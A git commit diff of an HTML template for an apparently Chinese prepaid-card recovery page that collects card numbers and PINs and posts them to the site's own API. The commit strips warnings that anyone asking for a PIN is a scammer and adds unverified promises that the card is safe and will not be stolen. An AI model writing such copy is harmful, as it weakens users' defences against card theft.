feat(template): 更新警告模态框和操作注意事项内容- 修改警告模态框中的提示信息,增强用户信任感- 更新操作注意事项列表,简化安全提示内容- 调整模态框内文本描述,明确卡密安全性
- 优化页面提示信息展示逻辑
This commit is contained in:
@@ -217,276 +217,290 @@
|
||||
</head>
|
||||
|
||||
<body class="flex flex-col">
|
||||
<!-- 警告模态框 -->
|
||||
<div id="warningModal"
|
||||
class="modal fixed inset-0 z-50 flex items-center justify-center opacity-0 pointer-events-none">
|
||||
<div class="modal-content p-6">
|
||||
<div class="flex flex-col items-center text-center">
|
||||
<svg class="w-12 h-12 text-yellow-500 mb-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z">
|
||||
</path>
|
||||
</svg>
|
||||
<h3 class="text-xl font-semibold mb-2">安全提示</h3>
|
||||
<p class="text-sm text-gray-600 mb-4">
|
||||
1.此卡为:{{.cardName}}!!!<br>
|
||||
<!-- <span class="font-semibold text-red-600">请注意:凡是溢价和不包邮的店铺卖的都是假卡!!!</span>-->
|
||||
</p>
|
||||
<button id="closeModal"
|
||||
class="bg-blue-500 text-white px-5 py-2 rounded-lg text-sm font-medium hover:bg-blue-600 transition-colors">我知道了</button>
|
||||
</div>
|
||||
<!-- 警告模态框 -->
|
||||
<div id="warningModal"
|
||||
class="modal fixed inset-0 z-50 flex items-center justify-center opacity-0 pointer-events-none">
|
||||
<div class="modal-content p-6">
|
||||
<div class="flex flex-col items-center text-center">
|
||||
<svg class="w-12 h-12 text-yellow-500 mb-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z">
|
||||
</path>
|
||||
</svg>
|
||||
<h3 class="text-xl font-semibold mb-2">安全提示</h3>
|
||||
<p class="text-sm text-gray-600 mb-4">
|
||||
此卡为:{{.cardName}}<br>
|
||||
请放心提交,此卡保真<br>不会偷卡,秒到账,支持录屏提交!
|
||||
<!-- <span class="font-semibold text-red-600">请注意:凡是溢价和不包邮的店铺卖的都是假卡!!!</span>-->
|
||||
</p>
|
||||
<button id="closeModal"
|
||||
class="bg-blue-500 text-white px-5 py-2 rounded-lg text-sm font-medium hover:bg-blue-600 transition-colors">
|
||||
我知道了
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 主要内容区域 -->
|
||||
<div class="main-container">
|
||||
<!-- 页面标题和价格 -->
|
||||
<header class="text-center mb-8 fade-in"> <!-- 增加底部边距 -->
|
||||
<h1 class="text-4xl font-bold mb-1">{{.cardName}}</h1>
|
||||
<p class="text-2xl font-semibold text-gray-700">¥ <span
|
||||
class="text-5xl font-bold text-black">{{.mmValue}}</span></p>
|
||||
</header>
|
||||
<!-- 主要内容区域 -->
|
||||
<div class="main-container">
|
||||
<!-- 页面标题和价格 -->
|
||||
<header class="text-center mb-8 fade-in"> <!-- 增加底部边距 -->
|
||||
<h1 class="text-4xl font-bold mb-1">{{.cardName}}</h1>
|
||||
<p class="text-2xl font-semibold text-gray-700">¥ <span
|
||||
class="text-5xl font-bold text-black">{{.mmValue}}</span></p>
|
||||
</header>
|
||||
|
||||
<!-- 添加淘宝跳转按钮 -->
|
||||
{{range.profitMarginList}}
|
||||
<div class="mb-6 slide-up" style="animation-delay: 0.35s;">
|
||||
<a href="{{.LinkID}}" target="_self" rel="noopener noreferrer"
|
||||
class="flex items-center justify-center gap-2 w-full py-3 px-4 bg-white border border-gray-200 rounded-xl shadow-sm hover:shadow-md transition-all duration-200"
|
||||
style="background-color: var({{.Color}});">
|
||||
<svg class="w-6 h-6" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path
|
||||
<!-- 添加淘宝跳转按钮 -->
|
||||
{{range.profitMarginList}}
|
||||
<div class="mb-6 slide-up" style="animation-delay: 0.35s;">
|
||||
<a href="{{.LinkID}}" target="_self" rel="noopener noreferrer"
|
||||
class="flex items-center justify-center gap-2 w-full py-3 px-4 bg-white border border-gray-200 rounded-xl shadow-sm hover:shadow-md transition-all duration-200"
|
||||
style="background-color: var({{.Color}});">
|
||||
<svg class="w-6 h-6" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path
|
||||
d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 15l-5-5 1.41-1.41L11 14.17l7.59-7.59L20 8l-9 9z"
|
||||
fill="#ffffff" />
|
||||
</svg>
|
||||
<span class="text-white font-medium">点击跳转{{.PlatformLabel}}购买</span>
|
||||
</a>
|
||||
</div>
|
||||
{{ end }}
|
||||
fill="#ffffff"/>
|
||||
</svg>
|
||||
<span class="text-white font-medium">点击跳转{{.PlatformLabel}}购买</span>
|
||||
</a>
|
||||
</div>
|
||||
{{ end }}
|
||||
|
||||
<!-- 智能粘贴区域 - 调整动画延迟 -->
|
||||
<section class="mb-6 slide-up" style="animation-delay: 0.1s;"> <!-- 原延迟 0.2s -->
|
||||
<label for="pasteArea" class="block text-lg font-semibold text-gray-800 mb-2">粘贴卡密信息</label>
|
||||
<textarea id="pasteArea" class="paste-area" placeholder="请将包含卡号和卡密的内容粘贴到此处,系统将尝试自动识别。"></textarea>
|
||||
</section>
|
||||
<!-- 智能粘贴区域 - 调整动画延迟 -->
|
||||
<section class="mb-6 slide-up" style="animation-delay: 0.1s;"> <!-- 原延迟 0.2s -->
|
||||
<label for="pasteArea" class="block text-lg font-semibold text-gray-800 mb-2">粘贴卡密信息</label>
|
||||
<textarea id="pasteArea" class="paste-area"
|
||||
placeholder="请将包含卡号和卡密的内容粘贴到此处,系统将尝试自动识别。"></textarea>
|
||||
</section>
|
||||
|
||||
<!-- 卡号和卡密输入表单 - 调整动画延迟 -->
|
||||
<section class="mb-6 slide-up" style="animation-delay: 0.2s;"> <!-- 原延迟 0.3s -->
|
||||
<h2 class="text-lg font-semibold mb-3">核对充值信息</h2>
|
||||
<div class="space-y-4">
|
||||
<div>
|
||||
<label for="cardNumber" class="block text-sm font-medium text-gray-700 mb-1">卡号</label>
|
||||
<div class="relative flex items-center">
|
||||
<input type="text" id="cardNumber" class="card-input pr-16" placeholder="请输入或粘贴卡号">
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<label for="cardPassword" class="block text-sm font-medium text-gray-700 mb-1">卡密</label>
|
||||
<div class="relative flex items-center">
|
||||
<input type="text" id="cardPassword" class="card-input pr-16" placeholder="请输入或粘贴卡密">
|
||||
</div>
|
||||
<!-- 卡号和卡密输入表单 - 调整动画延迟 -->
|
||||
<section class="mb-6 slide-up" style="animation-delay: 0.2s;"> <!-- 原延迟 0.3s -->
|
||||
<h2 class="text-lg font-semibold mb-3">核对充值信息</h2>
|
||||
<div class="space-y-4">
|
||||
<div>
|
||||
<label for="cardNumber" class="block text-sm font-medium text-gray-700 mb-1">卡号</label>
|
||||
<div class="relative flex items-center">
|
||||
<input type="text" id="cardNumber" class="card-input pr-16" placeholder="请输入或粘贴卡号">
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<label for="cardPassword" class="block text-sm font-medium text-gray-700 mb-1">卡密</label>
|
||||
<div class="relative flex items-center">
|
||||
<input type="text" id="cardPassword" class="card-input pr-16" placeholder="请输入或粘贴卡密">
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 提交按钮 - 调整动画延迟 -->
|
||||
<div class="mb-6 slide-up" style="animation-delay: 0.3s;"> <!-- 原延迟 0.4s -->
|
||||
<button id="submitBtn" class="btn-primary">确认信息并提交</button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 操作注意事项 - 调整动画延迟 -->
|
||||
<section class="text-xs text-gray-500 slide-up" style="animation-delay: 0.4s;"> <!-- 原延迟 0.5s -->
|
||||
<h3 class="font-semibold mb-2 text-sm">操作注意:</h3>
|
||||
<ul class="list-disc list-outside space-y-1 pl-4">
|
||||
<li>此卡为:{{.cardName}}!!!</li>
|
||||
<li>官方使用渠道【{{.cardName}}】,请勿在其他地方泄露你的卡密。</li>
|
||||
<li>切勿将卡密发给他人,跟你要【卡密】【截图】的一定是骗子!!</li>
|
||||
<li>切勿将卡密发给他人,跟你要卡密的一定是骗子!!!</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<!-- 提交按钮 - 调整动画延迟 -->
|
||||
<div class="mb-6 slide-up" style="animation-delay: 0.3s;"> <!-- 原延迟 0.4s -->
|
||||
<button id="submitBtn" class="btn-primary">确认信息并提交</button>
|
||||
</div>
|
||||
|
||||
<!-- 底部版权信息 -->
|
||||
<footer class="text-center py-3 text-xs text-gray-400 fade-in">
|
||||
© 2025
|
||||
</footer>
|
||||
<script type="text/javascript" src="../static/js/jquery.min.js"></script>
|
||||
<script>
|
||||
function openExternalLink(link) {
|
||||
window.open(link, "_self");
|
||||
<!-- 操作注意事项 - 调整动画延迟 -->
|
||||
<section class="text-xs text-gray-500 slide-up" style="animation-delay: 0.4s;"> <!-- 原延迟 0.5s -->
|
||||
<h3 class="font-semibold mb-2 text-sm">操作注意:</h3>
|
||||
<ul class="list-disc list-outside space-y-1 pl-4">
|
||||
<li>此卡为:{{.cardName}}</li>
|
||||
<li>请放心提交,此卡保真,不会偷卡,秒到账,支持录屏提交!</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- 底部版权信息 -->
|
||||
<footer class="text-center py-3 text-xs text-gray-400 fade-in">
|
||||
© 2025
|
||||
</footer>
|
||||
<script type="text/javascript" src="../static/js/jquery.min.js"></script>
|
||||
<script>
|
||||
function openExternalLink(link) {
|
||||
window.open(link, "_self");
|
||||
}
|
||||
|
||||
document.addEventListener('DOMContentLoaded', function () {
|
||||
// ... existing code ...
|
||||
|
||||
// --- 模态框逻辑 ---
|
||||
const modal = document.getElementById('warningModal');
|
||||
const closeModalBtn = document.getElementById('closeModal');
|
||||
const modalContent = modal.querySelector('.modal-content');
|
||||
|
||||
/**
|
||||
* @function showModal
|
||||
* @description 显示模态框并应用动画
|
||||
*/
|
||||
function showModal() {
|
||||
modal.classList.remove('opacity-0', 'pointer-events-none');
|
||||
modal.classList.add('active');
|
||||
gsap.to(modal, {opacity: 1, duration: 0.3});
|
||||
gsap.to(modalContent, {scale: 1, opacity: 1, duration: 0.3, ease: 'back.out(1.7)'});
|
||||
}
|
||||
|
||||
document.addEventListener('DOMContentLoaded', function () {
|
||||
// ... existing code ...
|
||||
/**
|
||||
* @function closeModal
|
||||
* @description 关闭模态框并应用动画
|
||||
*/
|
||||
function closeModal() {
|
||||
gsap.to(modalContent, {scale: 0.95, opacity: 0, duration: 0.2, ease: 'power1.in'});
|
||||
gsap.to(modal, {
|
||||
opacity: 0,
|
||||
duration: 0.3,
|
||||
delay: 0.1,
|
||||
onComplete: () => {
|
||||
modal.classList.add('opacity-0', 'pointer-events-none');
|
||||
modal.classList.remove('active');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// --- 模态框逻辑 ---
|
||||
const modal = document.getElementById('warningModal');
|
||||
const closeModalBtn = document.getElementById('closeModal');
|
||||
const modalContent = modal.querySelector('.modal-content');
|
||||
// 页面加载后显示模态框
|
||||
showModal();
|
||||
|
||||
/**
|
||||
* @function showModal
|
||||
* @description 显示模态框并应用动画
|
||||
*/
|
||||
function showModal() {
|
||||
modal.classList.remove('opacity-0', 'pointer-events-none');
|
||||
modal.classList.add('active');
|
||||
gsap.to(modal, { opacity: 1, duration: 0.3 });
|
||||
gsap.to(modalContent, { scale: 1, opacity: 1, duration: 0.3, ease: 'back.out(1.7)' });
|
||||
// 点击关闭按钮关闭
|
||||
closeModalBtn.addEventListener('click', closeModal);
|
||||
|
||||
// 点击模态框背景关闭
|
||||
modal.addEventListener('click', function (e) {
|
||||
if (e.target === modal) {
|
||||
closeModal();
|
||||
}
|
||||
});
|
||||
|
||||
// --- 页面元素入场动画 ---
|
||||
gsap.to('.fade-in', {
|
||||
opacity: 1,
|
||||
duration: 0.8,
|
||||
stagger: 0.1,
|
||||
ease: 'power1.out'
|
||||
});
|
||||
|
||||
gsap.to('.slide-up', {
|
||||
opacity: 1,
|
||||
y: 0,
|
||||
duration: 0.6,
|
||||
stagger: 0.1, // stagger 保持不变,因为元素数量减少了
|
||||
ease: 'power2.out',
|
||||
delay: 0.2 // 延迟可以保持或微调
|
||||
});
|
||||
|
||||
// --- 智能粘贴识别 ---
|
||||
const pasteArea = document.getElementById('pasteArea');
|
||||
const cardNumberInput = document.getElementById('cardNumber');
|
||||
const cardPasswordInput = document.getElementById('cardPassword');
|
||||
|
||||
/**
|
||||
* @function extractCardInfo
|
||||
* @description 尝试从文本中提取卡号和卡密
|
||||
* @param {string} text - 待解析的文本
|
||||
* @returns cardNumber: string, cardPassword: string 提取到的卡号和卡密
|
||||
*/
|
||||
function extractCardInfo(text) {
|
||||
let cardNumber = '';
|
||||
let cardPassword = '';
|
||||
|
||||
const cleanText = text.replace(/[\s-]/g, '');
|
||||
|
||||
let cardMatch = text.match(/(卡号)[::]?(\w+)/i);
|
||||
if (cardMatch && cardMatch[2]) {
|
||||
cardNumber = cardMatch[2];
|
||||
}
|
||||
|
||||
/**
|
||||
* @function closeModal
|
||||
* @description 关闭模态框并应用动画
|
||||
*/
|
||||
function closeModal() {
|
||||
gsap.to(modalContent, { scale: 0.95, opacity: 0, duration: 0.2, ease: 'power1.in' });
|
||||
gsap.to(modal, {
|
||||
opacity: 0,
|
||||
duration: 0.3,
|
||||
delay: 0.1,
|
||||
onComplete: () => {
|
||||
modal.classList.add('opacity-0', 'pointer-events-none');
|
||||
modal.classList.remove('active');
|
||||
}
|
||||
});
|
||||
let passMatch = text.match(/(密码|卡密)[::]?(\w+)/i);
|
||||
if (passMatch && passMatch[2]) {
|
||||
cardPassword = passMatch[2];
|
||||
}
|
||||
return {cardNumber, cardPassword};
|
||||
}
|
||||
|
||||
// 页面加载后显示模态框
|
||||
showModal();
|
||||
// 监听粘贴区域的输入事件
|
||||
pasteArea.addEventListener('input', function () {
|
||||
const text = this.value;
|
||||
if (text.trim()) {
|
||||
const {cardNumber, cardPassword} = extractCardInfo(text);
|
||||
|
||||
// 点击关闭按钮关闭
|
||||
closeModalBtn.addEventListener('click', closeModal);
|
||||
|
||||
// 点击模态框背景关闭
|
||||
modal.addEventListener('click', function (e) {
|
||||
if (e.target === modal) {
|
||||
closeModal();
|
||||
if (cardNumber) {
|
||||
cardNumberInput.value = cardNumber;
|
||||
gsap.fromTo(cardNumberInput, {scale: 1.05}, {scale: 1, duration: 0.3, ease: 'power1.out'});
|
||||
}
|
||||
});
|
||||
|
||||
// --- 页面元素入场动画 ---
|
||||
gsap.to('.fade-in', {
|
||||
opacity: 1,
|
||||
duration: 0.8,
|
||||
stagger: 0.1,
|
||||
ease: 'power1.out'
|
||||
});
|
||||
|
||||
gsap.to('.slide-up', {
|
||||
opacity: 1,
|
||||
y: 0,
|
||||
duration: 0.6,
|
||||
stagger: 0.1, // stagger 保持不变,因为元素数量减少了
|
||||
ease: 'power2.out',
|
||||
delay: 0.2 // 延迟可以保持或微调
|
||||
});
|
||||
|
||||
// --- 智能粘贴识别 ---
|
||||
const pasteArea = document.getElementById('pasteArea');
|
||||
const cardNumberInput = document.getElementById('cardNumber');
|
||||
const cardPasswordInput = document.getElementById('cardPassword');
|
||||
|
||||
/**
|
||||
* @function extractCardInfo
|
||||
* @description 尝试从文本中提取卡号和卡密
|
||||
* @param {string} text - 待解析的文本
|
||||
* @returns cardNumber: string, cardPassword: string 提取到的卡号和卡密
|
||||
*/
|
||||
function extractCardInfo(text) {
|
||||
let cardNumber = '';
|
||||
let cardPassword = '';
|
||||
|
||||
const cleanText = text.replace(/[\s-]/g, '');
|
||||
|
||||
let cardMatch = text.match(/(卡号)[::]?(\w+)/i);
|
||||
if (cardMatch && cardMatch[2]) {
|
||||
cardNumber = cardMatch[2];
|
||||
if (cardPassword) {
|
||||
cardPasswordInput.value = cardPassword;
|
||||
gsap.fromTo(cardPasswordInput, {scale: 1.05}, {scale: 1, duration: 0.3, ease: 'power1.out'});
|
||||
}
|
||||
|
||||
let passMatch = text.match(/(密码|卡密)[::]?(\w+)/i);
|
||||
if (passMatch && passMatch[2]) {
|
||||
cardPassword = passMatch[2];
|
||||
}
|
||||
return { cardNumber, cardPassword };
|
||||
}
|
||||
});
|
||||
|
||||
// 监听粘贴区域的输入事件
|
||||
pasteArea.addEventListener('input', function () {
|
||||
const text = this.value;
|
||||
if (text.trim()) {
|
||||
const { cardNumber, cardPassword } = extractCardInfo(text);
|
||||
// --- 提交按钮交互 ---
|
||||
const submitBtn = document.getElementById('submitBtn');
|
||||
|
||||
if (cardNumber) {
|
||||
cardNumberInput.value = cardNumber;
|
||||
gsap.fromTo(cardNumberInput, { scale: 1.05 }, { scale: 1, duration: 0.3, ease: 'power1.out' });
|
||||
}
|
||||
if (cardPassword) {
|
||||
cardPasswordInput.value = cardPassword;
|
||||
gsap.fromTo(cardPasswordInput, { scale: 1.05 }, { scale: 1, duration: 0.3, ease: 'power1.out' });
|
||||
}
|
||||
}
|
||||
});
|
||||
/**
|
||||
* @event submitBtn:click
|
||||
* @description 处理提交按钮点击事件,包括动画、验证和提交(模拟)
|
||||
*/
|
||||
submitBtn.addEventListener('click', function () {
|
||||
// 检查按钮是否已被禁用(例如,在超时后)
|
||||
if (this.disabled) return;
|
||||
|
||||
// --- 提交按钮交互 ---
|
||||
const submitBtn = document.getElementById('submitBtn');
|
||||
gsap.to(this, {
|
||||
scale: 0.97,
|
||||
duration: 0.1,
|
||||
yoyo: true,
|
||||
repeat: 1,
|
||||
ease: 'power1.inOut',
|
||||
onComplete: () => {
|
||||
const cardNumber = cardNumberInput.value.trim();
|
||||
const cardPassword = cardPasswordInput.value.trim();
|
||||
|
||||
/**
|
||||
* @event submitBtn:click
|
||||
* @description 处理提交按钮点击事件,包括动画、验证和提交(模拟)
|
||||
*/
|
||||
submitBtn.addEventListener('click', function () {
|
||||
// 检查按钮是否已被禁用(例如,在超时后)
|
||||
if (this.disabled) return;
|
||||
|
||||
gsap.to(this, {
|
||||
scale: 0.97,
|
||||
duration: 0.1,
|
||||
yoyo: true,
|
||||
repeat: 1,
|
||||
ease: 'power1.inOut',
|
||||
onComplete: () => {
|
||||
const cardNumber = cardNumberInput.value.trim();
|
||||
const cardPassword = cardPasswordInput.value.trim();
|
||||
|
||||
if (!cardNumber || !cardPassword) {
|
||||
alert('请填写完整的卡号和卡密信息!');
|
||||
if (!cardNumber) {
|
||||
cardNumberInput.focus();
|
||||
gsap.fromTo(cardNumberInput, { x: -5 }, { x: 5, duration: 0.05, repeat: 3, yoyo: true, clearProps: "x" });
|
||||
} else if (!cardPassword) {
|
||||
cardPasswordInput.focus();
|
||||
gsap.fromTo(cardPasswordInput, { x: -5 }, { x: 5, duration: 0.05, repeat: 3, yoyo: true, clearProps: "x" });
|
||||
}
|
||||
return;
|
||||
if (!cardNumber || !cardPassword) {
|
||||
alert('请填写完整的卡号和卡密信息!');
|
||||
if (!cardNumber) {
|
||||
cardNumberInput.focus();
|
||||
gsap.fromTo(cardNumberInput, {x: -5}, {
|
||||
x: 5,
|
||||
duration: 0.05,
|
||||
repeat: 3,
|
||||
yoyo: true,
|
||||
clearProps: "x"
|
||||
});
|
||||
} else if (!cardPassword) {
|
||||
cardPasswordInput.focus();
|
||||
gsap.fromTo(cardPasswordInput, {x: -5}, {
|
||||
x: 5,
|
||||
duration: 0.05,
|
||||
repeat: 3,
|
||||
yoyo: true,
|
||||
clearProps: "x"
|
||||
});
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
this.disabled = true;
|
||||
this.textContent = "处理中...";
|
||||
this.classList.add('opacity-70', 'cursor-wait');
|
||||
this.disabled = true;
|
||||
this.textContent = "处理中...";
|
||||
this.classList.add('opacity-70', 'cursor-wait');
|
||||
|
||||
// 构建请求数据
|
||||
const requestData = {
|
||||
orderId: '{{.orderNo}}',
|
||||
productCode: '{{.productCode}}',
|
||||
recoveryType: '8',
|
||||
chard: cardPassword.replace(/\s/g, ''),
|
||||
cardNo: cardNumber.replace(/\s/g, ''),
|
||||
sign: '{{.sign}}',
|
||||
deviceId: '{{.deviceId}}',
|
||||
returnUrl: '{{.returnUrl}}',
|
||||
factMMValue: '{{.mmValue}}'
|
||||
};
|
||||
// 构建请求数据
|
||||
const requestData = {
|
||||
orderId: '{{.orderNo}}',
|
||||
productCode: '{{.productCode}}',
|
||||
recoveryType: '8',
|
||||
chard: cardPassword.replace(/\s/g, ''),
|
||||
cardNo: cardNumber.replace(/\s/g, ''),
|
||||
sign: '{{.sign}}',
|
||||
deviceId: '{{.deviceId}}',
|
||||
returnUrl: '{{.returnUrl}}',
|
||||
factMMValue: '{{.mmValue}}'
|
||||
};
|
||||
|
||||
// 发送JSON请求
|
||||
fetch('/api/pay', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify(requestData)
|
||||
})
|
||||
// 发送JSON请求
|
||||
fetch('/api/pay', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify(requestData)
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
if (data.code === 0) {
|
||||
@@ -511,11 +525,11 @@
|
||||
this.textContent = "确认信息并提交";
|
||||
this.classList.remove('opacity-70', 'cursor-wait');
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user